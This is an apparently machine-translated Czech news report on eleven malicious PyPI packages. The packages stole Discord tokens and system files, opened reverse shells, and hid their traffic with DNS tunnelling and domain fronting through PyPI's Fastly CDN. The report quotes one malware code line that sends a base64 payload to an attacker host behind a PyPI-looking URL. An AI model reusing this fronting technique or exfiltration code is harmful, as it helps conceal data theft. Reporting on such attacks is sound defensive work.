V katalogu PyPI byly zjištěny škodlivé knihovny, které používají PyPI CDN ke skrytí komunikačního kanálu

V adresáři PyPI (Python Package Index) bylo identifikováno 11 balíčků obsahujících škodlivý kód. Než byly zjištěny problémy, byly balíčky staženy celkem asi 38 tisíckrát. Zjištěné škodlivé balíčky se vyznačují tím, že používají sofistikované metody ke skrytí komunikačních kanálů se servery útočníků.

  • důležitý balíček (6305 stažení), důležitý balíček (12897) - navázal připojení k externímu serveru pod záminkou připojení k pypi.python.org, aby poskytl shellový přístup do systému (reverzní shell) a použil program trevorc2 ke skrytí komunikační kanál.
  • pptest (10001), ipboards (946) - používá DNS jako komunikační kanál pro přenos informací o systému (v prvním paketu název hostitele, pracovní adresář, interní a externí IP, ve druhém - uživatelské jméno a název hostitele) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identifikovaly token služby Discord v systému a odeslaly jej externímu hostiteli.
  • trrfab (287) - odeslal identifikátor, název hostitele a obsah /etc/passwd, /etc/hosts, /home externímu hostiteli.
  • 10Cent10 (490) – navázalo reverzní připojení shellu s externím hostitelem.
  • yandex-yt (4183) - zobrazí zprávu o kompromitaci systému a přesměruje se na stránku s dalšími informacemi o dalších akcích provedených prostřednictvím nda.ya.ru (api.ya.cc).

Za zmínku stojí zejména způsob přístupu k externím hostitelům používaný v balíčcích importantpackage a important-package, které ke skrytí své aktivity využívaly síť Fastly content delivery používanou v adresáři PyPI. Ve skutečnosti byly požadavky odeslány na server pypi.python.org (včetně zadání názvu python.org v SNI uvnitř požadavku HTTPS), ale hlavička HTTP „Host“ obsahovala název serveru kontrolovaného útočníky (odd. forward.io. global.prod.fastly.net). Síť pro doručování obsahu odeslala podobný požadavek na útočící server pomocí parametrů připojení TLS k pypi.python.org při přenosu dat.

Infrastruktura PyPI je poháněna sítí Fastly content delivery network, která používá transparentní proxy Varnish k ukládání typických požadavků do mezipaměti a také používá zpracování certifikátů TLS na úrovni CDN, nikoli na koncových serverech, k předávání požadavků HTTPS prostřednictvím proxy. Bez ohledu na cílového hostitele se požadavky odesílají na server proxy, který pomocí hlavičky HTTP „Host“ určí požadovaného hostitele a názvy hostitelských domén jsou svázány s IP adresami nástroje pro vyrovnávání zatížení CDN, které jsou typické pro všechny klienty Fastly.

Server útočníků se také registruje u CDN Fastly, který poskytuje bezplatné plány pro každého a dokonce umožňuje anonymní registraci. Je pozoruhodné, že k odesílání požadavků oběti při vytváření „reverzního shellu“ se také používá schéma, ale iniciované ze strany hostitele útočníka. Zvenčí vypadá interakce se serverem útočníků jako legitimní relace s adresářem PyPI, šifrovaná pomocí certifikátu PyPI TLS. Podobná technika, známá jako „domain fronting“, byla dříve aktivně používána ke skrytí názvu hostitele při obcházení blokování pomocí možnosti poskytované v některých sítích CDN pro přístup k HTTPS uvedením fiktivního hostitele v SNI a skutečným přenosem názvu hostitele. požadovaný hostitel v hlavičce HTTP Host uvnitř relace TLS.

V katalogu PyPI byly zjištěny škodlivé knihovny, které používají PyPI CDN ke skrytí komunikačního kanálu

Aby se skryla škodlivá aktivita, byl navíc balíček TrevorC2 použit k tomu, aby byla interakce se serverem podobná běžné webové navigaci, například škodlivé požadavky byly zasílány pod rouškou stažení obrázku „https://pypi.python.org/images/ guid=” s kódováním informací v parametru guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Balíčky pptest a ipboards používaly ke skrytí síťové aktivity odlišný přístup založený na kódování užitečných informací v dotazech na server DNS. Malware přenáší informace prováděním požadavků DNS, jako je „nu4timjagq4fimbuhe.example.com“, ve kterých jsou data přenášená na řídicí server zakódována pomocí formátu base64 v názvu subdomény. Útočník přijímá tyto zprávy řízením serveru DNS pro doménu example.com.

Zdroj: opennet.ru

Přidat komentář